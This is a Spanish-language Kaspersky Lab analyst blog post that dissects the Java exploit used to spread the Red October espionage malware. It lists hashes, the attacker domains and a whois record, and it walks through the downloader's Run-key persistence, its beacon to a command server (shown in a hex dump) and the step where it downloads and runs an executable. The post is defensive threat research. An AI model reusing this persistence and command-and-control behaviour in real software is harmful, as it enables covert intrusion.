Todas las amenazas

Virus

Hackers

Spam

Todo el sitio    Sólo virus
  
Enciclopedia de virus
Alertas
Análisis
Noticias
Glosario
Bitácora

 
Archivo

<< 2014  
ene feb mar
abr may jun
jul ago sep
oct nov dic
Sobre los autores de la bitácora del analista antivirus
About Diary's Authors

La bitácora del analista antivirus es un weblog mantenido por los analistas antivirus de Kaspersky Lab, encabezado por Eugene Kaspersky. Lea más sobre los autores de esta bitácora

 

  Home / Bitácora

Bitácora del analista antivirus

Octubre Rojo. Análisis del vector de distribución de exploit para Java


  Global Research & Analysis Team (GReAT), Kaspersky Lab       17 enero 2013 | 20:45  MSK

Comentar  

A partir de la publicación de nuestro informe, nuestros colegas de Securelist han descubierto y escrito un blog sobre el uso de otro vector de distribución en los ataques de Octubre Rojo.

Además de los documentos de Office (CVE-2009-3129, CVE-2010-3333, CVE-2012-0158), al parecer los atacantes también penetraron las redes de sus víctimas a través de una vulnerabilidad en Java (MD5: 35f1572eb7759cb7a66ca459c093e8a1 - 'NewsFinder.jar'), conocida como el exploit 'Rhino' (CVE-2011-3544).

Conocemos el cronograma de aplicación de esta técnica de principios de febrero de 2012, y el uso de este exploit coincide con su enfoque de que no se trata de un día-cero. Es muy posible que a las víctimas potenciales se les haya enviado un enlace a este sitio, y que los sistemas de las víctimas estuviesen ejecutando una versión desactualizada de Java.

Sin embargo, parece que el grupo no hizo un uso intenso de este vector. Cuando descargamos el php responsable de servir al archivo comprimido malicioso ‘.jar’, había comentarios en la línea de códigos que distribuía el exploit de java. Asimismo, los enlaces relacionados, java, y la carga ejecutable han resultado difíciles de rastrear hasta la fecha.

El dominio involucrado en el ataque apareció sólo en una caja de arena pública en malwr.com (http://malwr.com/analysis/c3b0d1403ba35c3aba8f4529f43fb300/), y sólo el 14 de febrero, el mismo día en que registraron el dominio hotinfonews.com.




Domain Name: HOTINFONEWS.COM
Registrant:
Privat Person
Denis Gozolov (gozolov@mail.ru)
Narva mnt 27
Tallinn
Tallinn,10120
EE
Tel. +372.54055298
Creation Date: 14-Feb-2012
Expiration Date: 14-Feb-2013


Tras ese rápido descubrimiento público, los MD5s y los enlaces relacionados no aparecieron en depósitos públicos o privados, a diferencia de muchos otros de los componentes de Octubre Rojo.

Podría especularse que el grupo distribuyó con éxito su carga de programas maliciosos a los blancos apropiados durante algunos días, y que después ya no necesitaron hacerlo. Esto también nos dice que este grupo, que meticulosamente adaptó y desarrolló sus herramientas de infiltración y recopilación al ambiente de sus víctimas, tuvo la necesidad de migrar a Java desde sus habituales técnicas spearphishing a principios de enero de 2012. Y después volvieron a ellas.

También vale la pena notar que había un registro de tres sistemas de víctimas independientes detrás de una dirección IP en EE.UU., cada uno de los cuales se conectaba con un instituto gubernamental de investigación económica en el Medio Oriente.

Entonces, este exploit Java Rhino parece haber tenido un uso limitado. Y, la funcionalidad PHP script incrustada en el lado del servidor que distribuía este archivo es muy diferente a la funcionalidad común y relacionada que hemos visto en el troyano puerta trasera usado en los cinco años de campaña.

Las rutinas de codificación mantenidas y distribuidas dentro del mismo exploit están configuradas de tal manera que la llave que se usa para decodificar las cadenas URL dentro de los exploits se distribuye dentro del mismo applet Java. Esta es nuestra rutina de codificación PHP usada para codificar la URL para descarga de contenidos:

Y esta es la función que incrusta el applet en la HTML, pasando la cadena URL codificada a través del parámetro 'p':

Este es el código dentro del applet que consume las cadenas codificadas y las utiliza. La funcionalidad resultante descarga el archivo desde la URL y la escribe en ‘javaln.exe’. Observemos que las variables strb y stra mantienen las mismas cadenas que las variables $files y $charset en el script PHP:

Esta rutina de decodificación de “transferencia” retorna una URL que está concatenada con otras variables, dando como resultado "hXXp://www.hotinfonews.com/news/dailynews2.php?id=&t=win". Es este contenido el que se escribe en el disco y se ejecuta en el equipo de la víctima. A continuación ofrecemos una descripción del descargador. Resulta muy interesante que la rutina de codificación de esta combinación exploit/PHP sea distinta a la ofuscación tan habitual en los módulos de Octubre Rojo. Sugiere además que es muy probable que este paquete de uso limitado se haya desarrollado aparte del resto para un blanco específico.

Segunda etapa del ataque: EXE, descargador

La segunda etapa del ataque se descarga desde "http://www.hotinfonews.com/news/dailynews2.php" y la ejecuta la carga del exploit Java. Funciona como un descargador para la siguiente etapa del ataque.


Locación conocida del archivo: %TEMP%\javaln.exe
MD5: c3b0d1403ba35c3aba8f4529f43fb300

Este es un archivo PE EXE. Compilado con Microsoft Visual Studio 2008 en fecha 06.02.2012. El archivo está protegido por una capa de ofuscación, la misma que usan muchos módulos de Octubre Rojo.

Capa de ofuscación desensamblada

El módulo crea un mutex llamado “MtxJavaUpdateSln" y lo abandona si ya está creado.
Posteriormente, duerme por 79 segundos y después crea uno de los siguientes valores de registro que se cargarán automáticamente al arrancar el equipo:



[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

JavaUpdateSln=%full path to own executable%



[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

JavaUpdateSln=%full path to own executable%


A continuación, tras una pausa de 49 segundos, ingresa en un bucle infinito buscando conectarse a Internet. Cada 67 segundos envía una petición HTTP POST a los siguientes sitios:

  • www.microsoft.com
  • update.microsoft.com
  • www.google.com

Una vez que se establece una conexión válida con Internet, continúa con su bucle principal.

Bucle de conexión al servidor de comando y control

Cada 180 segundos el módulo envía una petición HTTP POST a su servidor de comando y control.
Esta petición se envía a una URL codificada: www.dailyinfonews.net/reportdatas.php

Los contenidos de la petición POST tienen el siguiente formato:

id=%ID de usuario único, recuperada de la superposición del archivo%&
A=%entero, indica si la llave de registro autorun estaba escrita%&
B=%0 o 1, indica si el usuario tiene autorización%&
C=%entero, nivel de privilegios asignados al usuario actual%


00000000  50 4f 53 54 20 68 74 74  70 3a 2f 2f 77 77 77 2e  |POST http://www.|
00000010 64 61 69 6c 79 69 6e 66 6f 6e 65 77 73 2e 6e 65 |dailyinfonews.ne|
00000020 74 3a 38 30 2f 72 65 70 6f 72 74 64 61 74 61 73 |t:80/reportdatas|
00000030 2e 70 68 70 20 48 54 54 50 2f 31 2e 30 0d 0a 48 |.php HTTP/1.0..H|
00000040 6f 73 74 3a 20 77 77 77 2e 64 61 69 6c 79 69 6e |ost: www.dailyin|
00000050 66 6f 6e 65 77 73 2e 6e 65 74 3a 38 30 0d 0a 43 |fonews.net:80..C|
00000060 6f 6e 74 65 6e 74 2d 6c 65 6e 67 74 68 3a 20 36 |ontent-length: 6|
00000070 32 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a |2..Content-Type:|
00000080 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 | application/x-w|
00000090 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 |ww-form-urlencod|
000000a0 65 64 0d 0a 0d 0a 69 64 3d 41 41 41 39 33 39 35 |ed....id=AAA9395|
000000b0 37 35 32 39 35 33 31 32 35 30 35 31 34 30 32 36 |7529531250514026|
000000c0 31 30 30 36 43 43 43 39 33 33 30 30 39 42 42 42 |1006CCC933009BBB|
000000d0 31 36 35 34 31 35 31 33 26 41 3d 31 26 42 3d 31 |16541513&A=1&B=1|
000000e0 26 43 3d 32 |&C=2|

Petición HTTP POST enviada al servidor de comando y control

El módulo decodifica la respuesta del ser4vidor de comando y control con un algoritmo AMPRNG mediante una llave codificada. Después, verifica si es una firma EXE válida (“MZ”) en offset 37 en el buffer decodificado. Si existe esta firma, escribe el archivo EXE en "%TEMP%\nvsvc%p%p.exe" (%p depende del tiempo del sistema) y lo ejecuta.

Tercera etapa del ataque: EXE, desconocido

Actualmente, el servidor de comando y control no está disponible y no contamos con los ejecutables que el descargador "javaln.exe” usó. Muy probablemente, fueron los mismos droppers, similares a los que usan los exploits para Word y Excel.

Conclusión

A medida que se cuenta con más información sobre Octubre Rojo y que terceras partes publican sus propias investigaciones sobre los ataques, se hace más evidente que el alcance de la operación es mayor a lo que se pensó en un principio.

Además del exploit Java que hemos presentado aquí, es posible que se hayan usado otros mecanismos de distribución durante los cinco años en que ha estado activa esta pandilla. Por ejemplo, no hemos visto todavía ningún exploit para PDF, que son muy comunes en otros grupos; algo muy raro.

Seguiremos monitoreando la situación y publicando actualizaciones a medida que se vayan desvelando los hechos.

 

Copyright © 1996 - 2014
Kaspersky Lab
Todos los derechos reservados

Correo electrónico: webmaster@viruslist.com